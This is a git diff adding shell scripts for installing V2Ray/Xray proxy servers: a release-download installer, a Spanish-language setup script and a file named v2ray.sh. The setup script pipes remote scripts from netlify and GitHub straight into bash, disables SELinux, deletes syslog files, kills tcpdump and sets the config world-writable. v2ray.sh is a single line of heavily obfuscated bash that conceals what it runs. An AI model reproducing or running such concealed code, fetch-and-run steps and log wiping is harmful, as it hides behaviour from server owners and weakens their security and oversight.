-h|--help) + HELP="1" + ;; + -f|--force) + FORCE="1" + ;; + -c|--check) + CHECK="1" + ;; + -x|--xray) + xray_set + ;; + --remove) + REMOVE="1" + ;; + --version) + VERSION="$2" + shift + ;; + --extract) + VSRC_ROOT="$2" + shift + ;; + --extractonly) + EXTRACT_ONLY="1" + ;; + -l|--local) + LOCAL="$2" + LOCAL_INSTALL="1" + shift + ;; + --errifuptodate) + ERROR_IF_UPTODATE="1" + ;; + *) + # unknown option + ;; + esac + shift # past argument or value +done + +############################### +colorEcho(){ + echo -e "\033[${1}${@:2}\033[0m" 1>& 2 +} + +archAffix(){ + case "$(uname -m)" in + 'i386' | 'i686') + MACHINE='32' + ;; + 'amd64' | 'x86_64') + MACHINE='64' + ;; + 'armv5tel') + MACHINE='arm32-v5' + ;; + 'armv6l') + MACHINE='arm32-v6' + grep Features /proc/cpuinfo | grep -qw 'vfp' || MACHINE='arm32-v5' + ;; + 'armv7' | 'armv7l') + MACHINE='arm32-v7a' + grep Features /proc/cpuinfo | grep -qw 'vfp' || MACHINE='arm32-v5' + ;; + 'armv8' | 'aarch64') + MACHINE='arm64-v8a' + ;; + 'mips') + MACHINE='mips32' + ;; + 'mipsle') + MACHINE='mips32le' + ;; + 'mips64') + MACHINE='mips64' + ;; + 'mips64le') + MACHINE='mips64le' + ;; + 'ppc64') + MACHINE='ppc64' + ;; + 'ppc64le') + MACHINE='ppc64le' + ;; + 'riscv64') + MACHINE='riscv64' + ;; + 's390x') + MACHINE='s390x' + ;; + *) + echo "error: The architecture is not supported." + exit 1 + ;; + esac + + return 0 +} + +zipRoot() { + unzip -lqq "$1" | awk -e ' + NR == 1 { + prefix = $4; + } + NR != 1 { + prefix_len = length(prefix); + cur_len = length($4); + + for (len = prefix_len < cur_len ? prefix_len : cur_len; len >= 1; len -= 1) { + sub_prefix = substr(prefix, 1, len); + sub_cur = substr($4, 1, len); + + if (sub_prefix == sub_cur) { + prefix = sub_prefix; + break; + } + } + + if (len == 0) { + prefix = ""; + nextfile; + } + } + END { + print prefix; + } + ' +} + +downloadV2Ray(){ + rm -rf /tmp/$KEY_LOWER + mkdir -p /tmp/$KEY_LOWER + local PACK_NAME=$KEY_LOWER + [[ $KEY == "Xray" ]] && PACK_NAME=$KEY + DOWNLOAD_LINK="https://github.com/$REPOS/releases/download/${NEW_VER}/${PACK_NAME}-linux-${MACHINE}.zip" + colorEcho ${BLUE} "Downloading $KEY: ${DOWNLOAD_LINK}" + curl ${PROXY} -L -H "Cache-Control: no-cache" -o ${ZIPFILE} ${DOWNLOAD_LINK} + if [ $? != 0 ];then + colorEcho ${RED} "Failed to download! Please check your network or try again." + return 3 + fi + return 0 +} + +installSoftware(){ + COMPONENT=$1 + if [[ -n `command -v $COMPONENT` ]]; then + return 0 + fi + + getPMT + if [[ $? -eq 1 ]]; then + colorEcho ${RED} "The system package manager tool isn't APT or YUM, please install ${COMPONENT} manually." + return 1 + fi + if [[ $SOFTWARE_UPDATED -eq 0 ]]; then + colorEcho ${BLUE} "Updating software repo" + $CMD_UPDATE + SOFTWARE_UPDATED=1 + fi + + colorEcho ${BLUE} "Installing ${COMPONENT}" + $CMD_INSTALL $COMPONENT + if [[ $? -ne 0 ]]; then + colorEcho ${RED} "Failed to install ${COMPONENT}. Please install it manually." + return 1 + fi + return 0 +} + +# return 1: not apt, yum, or zypper +getPMT(){ + if [[ -n `command -v apt-get` ]];then + CMD_INSTALL="apt-get -y -qq install" + CMD_UPDATE="apt-get -qq update" + elif [[ -n `command -v yum` ]]; then + CMD_INSTALL="yum -y -q install" + CMD_UPDATE="yum -q makecache" + elif [[ -n `command -v zypper` ]]; then + CMD_INSTALL="zypper -y install" + CMD_UPDATE="zypper ref" + else + return 1 + fi + return 0 +} + +normalizeVersion() { + if [ -n "$1" ]; then + case "$1" in + v*) + echo "$1" + ;; + *) + echo "v$1" + ;; + esac + else + echo "" + fi +} + +# 1: new V2Ray. 0: no. 2: not installed. 3: check failed. 4: don't check. +getVersion(){ + if [[ -n "$VERSION" ]]; then + NEW_VER="$(normalizeVersion "$VERSION")" + return 4 + else + VER="$(/usr/bin/$KEY_LOWER/$KEY_LOWER -version 2>/dev/null)" + RETVAL=$? + CUR_VER="$(normalizeVersion "$(echo "$VER" | head -n 1 | cut -d " " -f2)")" + TAG_URL="https://api.github.com/repos/$REPOS/releases/latest" + NEW_VER="$(normalizeVersion "$(curl ${PROXY} -H "Accept: application/json" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0" -s "${TAG_URL}" --connect-timeout 10| grep 'tag_name' | cut -d\" -f4)")" + + if [[ $? -ne 0 ]] || [[ $NEW_VER == "" ]]; then + colorEcho ${RED} "Failed to fetch release information. Please check your network or try again." + return 3 + elif [[ $RETVAL -ne 0 ]];then + return 2 + elif [[ $NEW_VER != $CUR_VER ]];then + return 1 + fi + return 0 + fi +} + +stopV2ray(){ + colorEcho ${BLUE} "Shutting down $KEY service." + if [[ -n "${SYSTEMCTL_CMD}" ]] || [[ -f "/lib/systemd/system/$KEY_LOWER.service" ]] || [[ -f "/etc/systemd/system/$KEY_LOWER.service" ]]; then + ${SYSTEMCTL_CMD} stop $KEY_LOWER + fi + if [[ $? -ne 0 ]]; then + colorEcho ${YELLOW} "Failed to shutdown $KEY service." + return 2 + fi + return 0 +} + +startV2ray(){ + if [ -n "${SYSTEMCTL_CMD}" ] && [[ -f "/lib/systemd/system/$KEY_LOWER.service" || -f "/etc/systemd/system/$KEY_LOWER.service" ]]; then + ${SYSTEMCTL_CMD} start $KEY_LOWER + fi + if [[ $? -ne 0 ]]; then + colorEcho ${YELLOW} "Failed to start $KEY service." + return 2 + fi + return 0 +} + +installV2Ray(){ + # Install $KEY binary to /usr/bin/$KEY_LOWER + if [[ $KEY == "V2Ray" && `unzip -l $1|grep v2ctl` ]];then + UNZIP_PARAM="$2v2ctl" + CHMOD_PARAM="/usr/bin/$KEY_LOWER/v2ctl" + fi + mkdir -p /etc/$KEY_LOWER /var/log/$KEY_LOWER && \ + unzip -oj "$1" "$2${KEY_LOWER}" "$2geoip.dat" "$2geosite.dat" $UNZIP_PARAM -d /usr/bin/$KEY_LOWER && \ + chmod +x /usr/bin/$KEY_LOWER/$KEY_LOWER $CHMOD_PARAM || { + colorEcho ${RED} "Failed to copy $KEY binary and resources." + return 1 + } + + # Install V2Ray server config to /etc/v2ray + if [ ! -f /etc/$KEY_LOWER/config.json ]; then + local PORT="$(($RANDOM + 10000))" + local UUID="$(cat '/proc/sys/kernel/random/uuid')" + + if [[ $KEY == "Xray" ]];then + cat > /etc/$KEY_LOWER/config.json < \ + /etc/$KEY_LOWER/config.json || { + colorEcho ${YELLOW} "Failed to create $KEY configuration file. Please create it manually." + return 1 + } + fi + + colorEcho ${BLUE} "PORT:${PORT}" + colorEcho ${BLUE} "UUID:${UUID}" + fi +} + + +installInitScript(){ + if [[ ! -f "/etc/systemd/system/$KEY_LOWER.service" && ! -f "/lib/systemd/system/$KEY_LOWER.service" ]]; then + cat > /etc/systemd/system/$KEY_LOWER.service <& 2 << EOF +./go.sh [-h] [-c] [--remove] [-p proxy] [-f] [--version vx.y.z] [-l file] [-x] + -h, --help Show help + -p, --proxy To download through a proxy server, use -p socks5://127.0.0.1:1080 or -p http://127.0.0.1:3128 etc + -f, --force Force install + --version Install a particular version, use --version v3.15 + -l, --local Install from a local file + --remove Remove installed V2Ray/Xray + -x, --xray Xray mod + -c, --check Check for update +EOF +} + +remove(){ + if [[ -n "${SYSTEMCTL_CMD}" ]] && [[ -f "/etc/systemd/system/$KEY_LOWER.service" ]];then + if pgrep "$KEY_LOWER" > /dev/null ; then + stopV2ray + fi + systemctl disable $KEY_LOWER.service + rm -rf "/usr/bin/$KEY_LOWER" "/etc/systemd/system/$KEY_LOWER.service" + if [[ $? -ne 0 ]]; then + colorEcho ${RED} "Failed to remove $KEY." + return 0 + else + colorEcho ${GREEN} "Removed $KEY successfully." + colorEcho ${BLUE} "If necessary, please remove configuration file and log file manually." + return 0 + fi + elif [[ -n "${SYSTEMCTL_CMD}" ]] && [[ -f "/lib/systemd/system/$KEY_LOWER.service" ]];then + if pgrep "$KEY_LOWER" > /dev/null ; then + stopV2ray + fi + systemctl disable $KEY_LOWER.service + rm -rf "/usr/bin/$KEY_LOWER" "/lib/systemd/system/$KEY_LOWER.service" + if [[ $? -ne 0 ]]; then + colorEcho ${RED} "Failed to remove $KEY." + return 0 + else + colorEcho ${GREEN} "Removed $KEY successfully." + colorEcho ${BLUE} "If necessary, please remove configuration file and log file manually." + return 0 + fi + else + colorEcho ${YELLOW} "$KEY not found." + return 0 + fi +} + +checkUpdate(){ + echo "Checking for update." + VERSION="" + getVersion + RETVAL="$?" + if [[ $RETVAL -eq 1 ]]; then + colorEcho ${BLUE} "Found new version ${NEW_VER} for $KEY.(Current version:$CUR_VER)" + elif [[ $RETVAL -eq 0 ]]; then + colorEcho ${BLUE} "No new version. Current version is ${NEW_VER}." + elif [[ $RETVAL -eq 2 ]]; then + colorEcho ${YELLOW} "No $KEY installed." + colorEcho ${BLUE} "The newest version for $KEY is ${NEW_VER}." + fi + return 0 +} + +main(){ + #helping information + [[ "$HELP" == "1" ]] && Help && return + [[ "$CHECK" == "1" ]] && checkUpdate && return + [[ "$REMOVE" == "1" ]] && remove && return + + local ARCH=$(uname -m) + archAffix + + # extract local file + if [[ $LOCAL_INSTALL -eq 1 ]]; then + colorEcho ${YELLOW} "Installing $KEY via local file. Please make sure the file is a valid $KEY package, as we are not able to determine that." + NEW_VER=local + rm -rf /tmp/$KEY_LOWER + ZIPFILE="$LOCAL" + else + # download via network and extract + installSoftware "curl" || return $? + getVersion + RETVAL="$?" + if [[ $RETVAL == 0 ]] && [[ "$FORCE" != "1" ]]; then + colorEcho ${BLUE} "Latest version ${CUR_VER} is already installed." + if [ -n "${ERROR_IF_UPTODATE}" ]; then + return 10 + fi + return + elif [[ $RETVAL == 3 ]]; then + return 3 + else + colorEcho ${BLUE} "Installing $KEY ${NEW_VER} on ${ARCH}" + downloadV2Ray || return $? + fi + fi + + local ZIPROOT="$(zipRoot "${ZIPFILE}")" + installSoftware unzip || return $? + + if [ -n "${EXTRACT_ONLY}" ]; then + colorEcho ${BLUE} "Extracting $KEY package to ${VSRC_ROOT}." + + if unzip -o "${ZIPFILE}" -d ${VSRC_ROOT}; then + colorEcho ${GREEN} "$KEY extracted to ${VSRC_ROOT%/}${ZIPROOT:+/${ZIPROOT%/}}, and exiting..." + return 0 + else + colorEcho ${RED} "Failed to extract $KEY." + return 2 + fi + fi + + if pgrep "$KEY_LOWER" > /dev/null ; then + V2RAY_RUNNING=1 + stopV2ray + fi + installV2Ray "${ZIPFILE}" "${ZIPROOT}" || return $? + installInitScript "${ZIPFILE}" "${ZIPROOT}" || return $? + if [[ ${V2RAY_RUNNING} -eq 1 ]];then + colorEcho ${BLUE} "Restarting $KEY service." + startV2ray + fi + colorEcho ${GREEN} "$KEY ${NEW_VER} is installed." + rm -rf /tmp/$KEY_LOWER + return 0 +} + +main diff --git a/Recursos/rf/v2ray-new.sh b/Recursos/rf/v2ray-new.sh new file mode 100644 index 0000000..6bc81dc --- /dev/null +++ b/Recursos/rf/v2ray-new.sh @@ -0,0 +1,211 @@ +#!/bin/bash + +source msg + +BEIJING_UPDATE_TIME=3 +BEGIN_PATH=$(pwd) +BASE_SOURCE_PATH="https://multi.netlify.app" +UTIL_PATH="/etc/v2ray_util/util.cfg" +UTIL_CFG="$BASE_SOURCE_PATH/v2ray_util/util_core/util.cfg" +BASH_COMPLETION_SHELL="$BASE_SOURCE_PATH/v2ray" +CLEAN_IPTABLES_SHELL="$BASE_SOURCE_PATH/v2ray_util/global_setting/clean_iptables.sh" + +[[ -f /etc/redhat-release && -z $(echo $SHELL|grep zsh) ]] && unalias -a +[[ -z $(echo $SHELL|grep zsh) ]] && ENV_FILE=".bashrc" || ENV_FILE=".zshrc" + +dependencias(){ + soft="socat cron bash-completion ntpdate gawk jq uuid-runtime python3 python3-pip" + + for install in $soft; do + leng="${#install}" + puntos=$(( 21 - $leng)) + pts="." + for (( a = 0; a < $puntos; a++ )); do + pts+="." + done + msg -azu " instalando $install $(msg -ama "$pts")" + if apt install $install -y &>/dev/null ; then + msg -verd "INSTALL" + else + msg -verm2 "FAIL" + sleep 2 + del 1 + if [[ $install = "python" ]]; then + pts=$(echo ${pts:1}) + msg -azu " instalando python2 $(msg -ama "$pts")" + if apt install python2 -y &>/dev/null ; then + [[ ! -e /usr/bin/python ]] && ln -s /usr/bin/python2 /usr/bin/python + msg -verd "INSTALL" + else + msg -verm2 "FAIL" + fi + continue + fi + echo -e "aplicando fix a $install" + dpkg --configure -a &>/dev/null + sleep 2 + del 1 + msg -azu " instalando $install $(msg -ama "$pts")" + if apt install $install -y &>/dev/null ; then + msg -verd "INSTALL" + else + msg -verm2 "FAIL" + fi + fi + done + + if [[ ! -e '/usr/bin/pip' ]]; then + _pip=$(type -p pip) + ln -s "$_pip" /usr/bin/pip + fi + if [[ ! -e '/usr/bin/pip3' ]]; then + _pip3=$(type -p pip3) + ln -s "$_pip3" /usr/bin/pip3 + fi + msg -bar +} + +closeSELinux(){ + if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then + sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config + setenforce 0 + fi +} + +timeSync(){ + echo -e "Sincronización de tiempo ..." + if [[ `command -v ntpdate` ]];then + ntpdate pool.ntp.org + elif [[ `command -v chronyc` ]];then + chronyc -a makestep + fi + + if [[ $? -eq 0 ]];then + echo -e "\033[1;32m Éxito de sincronización de tiempo" + echo -e "\033[1;32m Actual : `date -R`" + fi + msg -bar +} + +fun_limpram() { + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a + v2ray new 1> /dev/null 2> /dev/null + rm -rf /tmp/* > /dev/null 2>&1 + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 + rm -f /var/log/syslog* + sleep 2 +} + +function aguarde() { + sleep 1 + helice() { + dependencias >/dev/null 2>&1 & + fun_limpram >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37mINSTALANDO Y FIXEANDO \033[1;32mV2RAY \033[1;37my \033[1;32mXRAY\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +updateProject(){ + if [[ ! $(type pip 2>/dev/null) ]]; then + echo -e 'Falta en la dependencia pip\nNo se puede continuar con la instalacion' + read -p " ENTER PARA CONTINUAR" + #install python3 & pip + source <(curl -sL https://python3.netlify.app/install.sh) + read -p " PRESIONA 0 PARA REGRESAR O ENTER PARA REINTENTAR!! " reint + [[ -z $reint ]] && updateProject + [[ $reint = 0 ]] && return 1 + fi + pip install -U v2ray_util + if [[ -e $UTIL_PATH ]];then + [[ -z $(cat $UTIL_PATH|grep lang) ]] && echo "lang=en" >> $UTIL_PATH + else + mkdir -p /etc/v2ray_util + curl $UTIL_CFG > $UTIL_PATH + fi + rm -f /usr/local/bin/v2ray >/dev/null 2>&1 + ln -s $(which v2ray-util) /usr/local/bin/v2ray + rm -f /usr/local/bin/xray >/dev/null 2>&1 + ln -s $(which v2ray-util) /usr/local/bin/xray + [[ -e /etc/bash_completion.d/v2ray.bash ]] && rm -f /etc/bash_completion.d/v2ray.bash + [[ -e /usr/share/bash-completion/completions/v2ray.bash ]] && rm -f /usr/share/bash-completion/completions/v2ray.bash + curl $BASH_COMPLETION_SHELL > /usr/share/bash-completion/completions/v2ray + curl $BASH_COMPLETION_SHELL > /usr/share/bash-completion/completions/xray + if [[ -z $(echo $SHELL|grep zsh) ]];then + source /usr/share/bash-completion/completions/v2ray + source /usr/share/bash-completion/completions/xray + fi + # bash <(curl -L -s https://multi.netlify.app/go.sh) + bash <(curl -L -s https://raw.githubusercontent.com/rudi9999/ADMRufu/main/Utils/v2ray/go.sh) --version v4.45.2 +} + +profileInit(){ + [[ $(grep v2ray ~/$ENV_FILE) ]] && sed -i '/v2ray/d' ~/$ENV_FILE && source ~/$ENV_FILE + [[ -z $(grep PYTHONIOENCODING=utf-8 ~/$ENV_FILE) ]] && echo "export PYTHONIOENCODING=utf-8" >> ~/$ENV_FILE && source ~/$ENV_FILE + v2ray new &>/dev/null +} + +installFinish(){ + cd ${BEGIN_PATH} + config='/etc/v2ray/config.json' + tmp='/etc/v2ray/temp.json' + [[ -e "$config" ]] && jq 'del(.inbounds[].streamSettings.kcpSettings[])' < /etc/v2ray/config.json >> /etc/v2ray/tmp.json + rm -rf /etc/v2ray/config.json + [[ -e "$config" ]] && jq '.inbounds[].streamSettings += {"network":"ws","wsSettings":{"path": "/ADMcgh/","headers": {"Host": "ejemplo.com"}}}' < /etc/v2ray/tmp.json >> /etc/v2ray/config.json + [[ -e "$config" ]] && chmod 777 /etc/v2ray/config.json + msg -bar + if [[ $(v2ray restart|grep success) ]]; then + [[ $(which v2ray) ]] && v2ray info + msg -bar + echo -e "\033[1;32m[✓] V2RAY INSTALADO CORRECTAMENTE [✓]" + else + [[ $(which v2ray) ]] && v2ray info + msg -bar + print_center -verm2 "INSTALACION FINALIZADA" + echo -e "\033[1;31m " 'Pero fallo el reinicio del servicio v2ray' + echo -e " LEA DETALLADAMENTE LOS MENSAJES " + echo -e "" + read -p " presiona enter" + clear&&clear + [[ -e "$config" ]] && v2ray new || bash <(curl -L -s https://multi.netlify.app/go.sh) + clear&&clear + fi + + echo -e "Por favor verifique el log" + read -p " presiona enter" +} + +main(){ + cat <<< '╻┏┓╻┏━┓╺┳╸┏━┓╻ ┏━┓┏┓╻╺┳┓┏━┓ ╻ ╻┏━┓┏━┓┏━┓╻ ╻ +┃┃┗┫┗━┓ ┃ ┣━┫┃ ┣━┫┃┗┫ ┃┃┃ ┃ ┃┏┛┏━┛┣┳┛┣━┫┗┳┛ +╹╹ ╹┗━┛ ╹ ╹ ╹┗━╸╹ ╹╹ ╹╺┻┛┗━┛ ┗┛ ┗━╸╹┗╸╹ ╹ ╹ ' + msg -bar + echo -e " $(printext 'INSTALADO DEPENDENCIAS V2RAY'" + + aguarde + closeSELinux + timeSync + updateProject + profileInit + installFinish +} + +main +[[ -z $(v2ray -v | grep "4.45.2") ]] && main +[[ -e "$UTIL_PATH" ]] && sed -i "s/lang=zh/lang=en/g" $UTIL_PATH diff --git a/Recursos/rf/v2ray.sh b/Recursos/rf/v2ray.sh new file mode 100644 index 0000000..36df0d8 --- /dev/null +++ b/Recursos/rf/v2ray.sh @@ -0,0 +1,2 @@ +#!/bin/bash + ${*//M}" ${@~} "${@#;PmXNCL}" $* ${*/rFLLUcuH/#:zea\`B<} ${*##V+sF} ${!@} ${!*} ${*~} ${!*} ${*%\)+O4v} ${*//?p4$T6_p/\(xOm} ${*#\[B\(U\(J=n} ${!*} ${*#?\!2>} "${@,,}" ${@##c%\!|} ${@~} ${@~} "${@//K\{_#i}" ${@/V^RBP>G} "${@^}" "${@%i43U@E}" "${@//\{.fU$4E$/2g?_U3n}" ${*//FN^*XE|} ${*/YJezT>\\} ${*/@zT\`UU} ${*~~} ${*^^} ${@/YH$M|/BF\}i>Dtt} ${@/$DGIS,r/~+@FrzKs} ${*,,} ${@} "${@##Nxt\]N^Vl:3} "${@,,}" ${*//+,$+0gQ} ${*,} ${*##\!Du\]2q3;} ${*/0_l:\}wC} ${*~} ${*/&Py+sg9U} ${*%;70VC} ${@%%;$5:pz} ${*~} "${@}" ${*%\(npoc} ${*//=qwv\"&q&/~NvKe|q} ${*} ${@~} ${@,,} "${@##Y4WZ5tGB}" "${@~~}" "$@" "${@##4wK5F}" ${*~~} ${!*} "${@^}" ${*##~b6LG8} ${@,} ${@~} "${@^}" $* ${!*} "${@/5XaY/o1.FuUo}" ${@//J\)o;\{37} ${*^^} ${*,} ${@,,} "$@" ${@^^} ${*//\`_@hv\`v\\} ${@~~} ${*%%:R-Z\@} ${*%;6\}V4\}qa} "${@}" "${@^}" "${@//Uu+u\,S\`/ZA.\)/#3_.fn} ${@~~} ${*#$s?.~8GD} ${*%Ip|K\!K} ${@,} ${*%P\{@?4} ${*##e4u\"V\]} ${*,,} "${@^}" "${@//0\[Zt}" "${@##4ZQ5h}" $* ${*^^} ${*~} ${!*} "${@//} ${*%3tQxe3Q} "${@,,}" "${@~~}" "${@%O&JPY$?2}" ${*^} ${@%W6q3\"n} ${*^} ${*//ys.?&647/dc\8i\]&U} ${*%%_>~\}>R} ${*,,} "${@/\(&\"\`G|s/\`CKi\!=&}" ${*} ${*^^} ${*,,} "${@~}" ${@##i@a\\} ${*,,} "${@~}" ${*/C\"gC.U} ${@//,1cV} ${*/y-b0_U} ${*^} "$@" $@ ${@,,} ${*,,} "${@,}" "${@^}" ${*~} ${*/_|Mv\`Z1U} "${@,,}" ${*%%:\Q|m_} ${*##@U&yfo} "${@,}" ${*~} ${*,,} ${@^^} ${@,} "${@^}" ${@/LDnh9~w} ${@^^} "${@}" ${*,} ${*//S\!ECB/bJTc4^} "${@%%d5l\!r$#}" ${@%%IZUtO,+} ${*%%V>Yl8N2} "$@" ${*/XV2N4.p\]/sL8D<} ${*~~} ${*^} "${@%%a@#m}" ${@~~} ${*/Q=t\,JY*} ${*#\{.jD5-} "${@~~}" "${@#Qi:3ah}" ${@%DhUG\)iME} ${!@} "${@~}" ${*} "${@##gc4\!@y-N}" ${*} ${*%%PVKcP} ${*,,} ${*,,} "${@/IQh9}" ${*~} ${*^} ${*%zZfMH} "${@//*PH.E$uX/Xopv}" ${*^^} ${@/Y1\`c\Fr} ${*,} ${*%W_vr} ${*//;\`r+k_ob8} ${*%%v\!oI_N} "${@^}" $@ ${*} ${*/6x&U,t} ${@//S3\{^k$} "${@~~}" ${@^} ${@,,} "${@%&?6SQ::g}" "$@" "${@/#\}T9O7}" "${@,}" "${@/\)v@mT}" $* ${@,} "${@,,}" ${@//kfigf_of} ${*} $* "${@/AC7^X*m/|0u6aN}" ${*//K?KE7/oSm\}} ${@##il;\)0\)} ${*##\`Ct} "${@/892U/z,if}" ${*//>pfBo/:d~I:} ${*^^} ${*^^} "${@%O,,g\]v.}" ${*%%tMr\[} ${*~~} ${@%9RbT~YT} "${@//l3lU}" ${@~~} ${*/|JDrx1} ${*/7SXsV-F\!} ${@^^} ${!*} ${!*} ${*/:79*h7/n&_Ic\"qQ} "${@//O~P4@=o6}" ${*/Lq_:v=} ${@//r-L\",} ${@,,} $* ${*%%qQ*W*} ${*^^} ${@/maf\{} ${*//\)8\}FZi/\]wpH,k} "$@" ${*##,;$4-} $@ ${!@} ${*^^} ${*^} ${*//$3p8>i} ${*#f&6-D} ${*%%sc\}8\]} ${*,} ${*/qzz:} ${!*} ${*#\]J} ${@#KK|1M} "${@~}" ${*^} ${@%z\[|$,?} "${@^^}" ${*,,} ${@^} "${@^}" ${*//PhcVE/H:hB\!>} ${!@} ${*^^} ${*/6hU5} ${@##\{|<\}|@} ${*##>2grkB|} ${*,} "${@/7bN4/T1\!G.+Db}" "${@^^}" ${@~} $@ ${@,} $* ${*~} $* "${@/6zf\"oW*F/HD;c}" ${*##I.J.y\}} ${@##:ka@1E} ${!*} "${@/BJz~j}" ${*^} ${@#yV,~S\`} ${!@} ${*^^} ${*^} ${*,,} ${*##\[\[.T} "$@" ${*/4*\!uj/|\]H\)QMG} "${@#JP&Y%Zp}" ${@//n3\X/=xkhvOp_} ${*##P-\`f} "${@/I.A?pg/FW\)>-l.}" ${@,,} ${*#s1w3sNSN} ${*~} ${@^^} ${*#RT6vcp\M} ${*^^} ${!*} ${@/H@9T\[/jbZ_} ${*} ${*//$I\"LO?gE} ${*/~EzC\):T/9$e\`} ${*,,} ${*%%0#qm\)*@} "${@~}" ${@/_-t#D/m5\)9\}} ${*,,} ${*^^} ${!@} ${*~~} "${@##\)\]BDM}" $* "${@/slnha/2^\`c}" ${*,} ${@#@m\"1\[D} ${*//?es4BUl} ${*~~} ${@//xe:Q} ${*^^} ${*^} "${@%%s3erCaP9}" ${*%%4@i_} ${*~~} ${*###R|T} ${*/5@\[#} ${*~~} ${*/eyKb,~} ${@} "${@//=JFr\[/^Ui\[\}\[_#}" ${@##Y\}HXdv} "${@#DY0Gb5}" ${*//2|HyW/?IzKpXM} "${@#~\]3M\!;6?}" ${@} ${*%%29&&} ${*~~} ${@~} ${*~} ${!*} "${@//a\,g7oB^}" "${@}" "${@^}" "${@//^^Aj>/\}|<\"xbn}" "${@##RGN8}" ${@%%lk\?} $* ${*~~} "${@//kKuMAvu}" ${@#hpv_} ${@} ${*,} ${*//rP6Z4N\!} "${@##Y8b$5}" ${*/:CwouA%T} ${*##YT\}\`\{*} ${!@} ${*//owo&} ${*^} ${@^^} ${*,} ${@%B+pIBK&} ${@,} "${@//\`E##;LX$}" ${@//P3<<7X7S/St$\(} ${*,} ${@//6FvWVQ0} ${@,} "${@~}" "${@,,}" ${@,} ${@#&Dqgi*} ${*%%tR@F?\\} "${@~~}" ${@~} "${@##1\!yU+B}" ${@//Ozi_i} "${@##ogVR7E}" "${@%%uJa6^J0}" ${*^^} ${*##%g5Hs\{} ${*##0zf:p} ${@/h0KF} "${@^^}" ${*^} ${*~~} ${*//3bNP/A\}bL|$H} ${!*} ${*,} ${!*} ${!@} ${*/y4-S\\/P+f\(8zn} ${@/z2??Cy,B/zMo9M>S2} ${!@} "${@~~}" ${*~} "${@,}" $* "${@##fmo8}" ${*^^} ${@%,8u=RI} "${@/WsYb}" ${@/\1UXm92w} ${*%%wklCIiy\]} ${*~} ${*~} ${@##\(:\)$Q_VA} ${*#b~h;} ${@%xe6W} ${@//;IAbOo#6/\(MvcOLP} "${@%v:noy1=}" ${*,} ${*} ${*~} ${*//=7\`G@/X9Z14#:8} ${!*} ${*~~} ${*~} ${*,,} "$@" "${@%X++Hmk}" ${@%%\{ER=\}AB\[} ${*%\(es4IB\}^} "${@#2I7*:^Y}" ${*##vc_Lp} ${*,} "${@##$G9CFM}" ${@,,} ${@/44V-Up} ${@#i,G\{p\us} ${@#xBhI7~e\}} ${!@} ${@~} "${@/h\"zyTX6}" ${*%%Lab27nc} "${@##\`c.X}" ${*} ${@/=ZK~/zbE6} ${*#@tBvhcV} ${*//+Dl\"=|o} ${*/ffZ<._/.RtI-\(} ${*%%RBQ=} ${@^^} ${*//K&#E\.,2/q6m16uP} ${@^} ${@^} ${*~~} ${*/\!\"+Gz^L} "${@^}" ${*^^} ${@##\)&~F+;#u} "${@/g^_l/IydN#6}" ${@%%hzG8\`&:} ${*,,} "${@/1wt5qnP_/_bS3Hlg}" ${*,} ${*//TG+p-+} ${!*} ${!@} ${*} ${!@} $* ${*~~} ${*~~} ${*/\)bAJvG>} ${@,} ${*~~} ${*~} ${*~~} ${@%i~T,1#} ${*/*fSBK1} "${@#|\"\H}" ${*~} ${!*} ${@} ${*,,} ${*%%\}FJ\[%7Kp} ${*/RB$q/\`qhvu} $* ${@~~} ${@//8~,oLDw}" "${@~~}" "${@^}" "${@//9Ocg6f&}" ${*,} ${*//eClfQ} ${*~~} ${*//\]sm*T,/J2\`5Ri\{} ${@#-ZV6}b$'\u0061'$'\x73h' ${!*} ${*^^} ${*##\"-6\`Aov} ${*,} ${*#;.CwDH-p} "${@#subn0g}" "${@}" ${@~~} ${@^} "${@,,}" "${@%o$w?y}" ${@~~} "${@#fyD~}" ${*} ${*~} ${!*} ${*~~} ${*~~} "${@,}" "${@%%S:la+>y}" ${@~} ${*//4p%N} ${*%%\`HZzi} "${@~~}" "${@,,}" "${@%\}^v$8|}" ${@} ${*} ${@,,} ${@%%ov\)rI} ${*//mP,q.:/?kPBxA} ${@##\[8FHDY} ${*//\}} "${@%b#\`B@:\}}" ${*} $* ${*~} ${*,,} "$@" ${*^} ${@%%a1\(K\!kv} "${@,,}" ${*~} "${@}" ${*//\[BjiBA1O} ${@//$c\"*} ${*/nw,sdV/~\]\"6M9} ${*/,Amt} ${@} ${@} ${!*} "$@" ${*%.w,lKS} "${@,}" "${@/LEX\{}" ${*%%*Y&J} "${@%ZO,;}" $* ${*/B\~;@A/,~Oo_>b} "${@/tL,1K/t\`} ${*%|\{w\!} "${@~}" ${*~} ${*##i,8nje} ${*~~} ${@,} ${*~~} ${@~} "${@~~}" ${@~} ${@} $* ${*^^} ${@##S,gOo} ${@~} ${*//:npp?\"/\{XbBC} ${*~} ${*//h_QF*} "${@//P4az/iN7\`_FH}" $@ ${!@} ${*%%d1#CXJP} $* ${@~~} "$@" ${*#N2|:1} ${*#Tpq\`BhJ} ${*%E@pM*CA} ${*%Htf$*1:2} ${*##>\!F6Hz5;} ${@^} ${*~} ${@^^} ${*#M>k\"S+} ${@~~} ${*#.Q*\[jQ+A} ${*#Z$zpT~LD} ${@~} ${*//Tf~T} ${@//-*XIpU} ${!@} "${@##ckh?buzZ}" "${@,,}" ${@//nPl\!z=Lo/KXHm} ${*%%0RRz} "${@^^}" "${@%a0\?H~U}" ${*~} ${*~} ${*%s\"J*\[} ${@##,P6Rdb\}g} ${@%$#WnR} "${@##R\"AB=X}" ${*/zZ5T} ${@,,} ${*//l+B\)|@} ${*,} ${@,,} ${*#.L?UQ\{xP} ${*,,} "${@}" ${*#ngl9g\`f} $@ ${*~~} "${@/NHDNX/rJ#R\":}" ${*/r3z7h<2/X?Z\!} ${*^^} ${*} "$@" ${*^} ${@,} ${*~~} ${*} ${*#GlDrQy} ${*/OP\]+\!U5k} ${!*} 